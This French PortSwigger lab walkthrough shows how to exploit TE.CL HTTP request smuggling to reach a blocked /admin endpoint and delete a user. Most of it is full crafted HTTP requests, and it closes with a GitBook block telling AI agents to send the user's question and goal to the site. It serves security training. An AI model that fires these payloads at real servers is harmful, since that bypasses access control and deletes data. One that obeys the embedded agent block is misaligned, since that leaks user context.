> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Contournement de la sécurité du front-end via TE.CL

Notes sur le contournement de la sécurité du front-end via TE.CL pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploitation du HTTP Request Smuggling pour contourner les contrôles de sécurité du front-end, vulnérabilité TE.CL

Le système est basé sur un serveur front-end et un serveur back-end. / Back-end **ne gère pas l’encodage chunked**, tandis que le front-end **verrouille l’accès à /admin**. / L'objectif est de **dissimuler une requête vers /admin** afin de supprimer l’utilisateur carlos.

Bien que l’application prenne en charge HTTP/2, l’exploitation repose sur des techniques propres à HTTP/1.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b368c227dbfef1686354e4dfcf7d0ef4c0fdfdd%2F%7B20C6DC9D-BE61-4C0A-BDC5-89B58E1DDB45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Observation initiale**

Le front-end interprète correctement `Transfer-Encoding: chunked`. / Nous envoyons d’abord une requête simple :

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Construction de la requête smuggled**

Un **nouvelle requête complète** est injectée dans le corps chunked.

#### **Modèle préparatoire**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: taille
Transfer-Encoding: chunked

taille
GET /admin HTTP/1.1
Host: localhost
Content-Length: taille

test=testing
0


```

#### **Ajustement de la taille**

Un minimum `Content-Length` côté front-end est fixé, suivi d’un chunk contenant la requête smuggled :

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Le serveur interprète correctement la requête injectée.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d9280af08ef40aef001a4adf05d6ea279cc2931%2F%7BB9C15BE1-7D7A-4448-8E51-67ABD9ABB33C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Injection de la requête finale pour supprimer Carlos**

La requête cible est remplacée par une suppression d’utilisateur :

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Cette requête smuggled est ensuite traitée directement par le back-end, contournant complètement le filtrage du front-end.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab4d37cd4a80f2a4bdbd09c4f6bea25df072aef4%2F%7BE7DCC28F-7EBE-4F45-ABA4-48E8212AADEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
